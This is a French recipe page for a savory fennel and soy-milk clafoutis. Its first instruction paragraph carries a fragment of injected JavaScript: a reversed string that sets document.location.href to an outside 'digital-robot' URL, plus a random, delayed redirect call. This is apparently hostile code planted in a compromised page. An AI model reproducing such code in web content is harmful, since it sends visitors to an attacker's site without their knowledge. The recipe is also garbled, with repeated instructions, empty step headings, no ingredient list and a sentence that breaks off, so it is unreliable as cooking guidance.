Clafoutis salé au fenouil et au lait de soja
2021-03-10- Cuisine : Clafoutis salé
- Thématique : Végétarien
- Niveau : Difficile
Pelez, émincez les échalotes. Enlevez les côtes épaisses des bulbes de fenouils. Coupez-les deux et les émincer. Dans une cocotte avec deux cuillères à soupe d’huile de colza, sur feu moyen, faites revenir les échalotes tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tout en remuant.
Ingrédients
Pelez, émincez les échalotes. Enlevez les côtes épaisses des bulbes de fenouils. Coupez-les deux et les émincer. Dans une cocotte avec deux cuillères à soupe d'huile de colza, sur feu moyen, faites revenir les échalotes tout en remuant. Ajoutez les fenouils, salez, poivrez et laissez cuire pendant 15 minutes à couvert, sur feu doux. Battez les œufs énergiquement avec la moitié du gruyère, introduisez peu à peu la farine, salez légèrement, poivrez. Déposez les fenouils dans un moule à gratin beurré. Versez le mélange œufs / gruyère râpé / Préchauffez le four à 180° C thermostat 6.
Enfournez le clafoutis, salé de fenouil et faites cuire pendant 30 minutes. A ce moment vérifiez la cuisson et dégustez avec une salade verte.
Préparation de la recette
Etape 1
Etape 2
Etape 3
Etape 4
Etape 5
Etape 6
Etape 7
Etape 8
Etape 9
Etape 10
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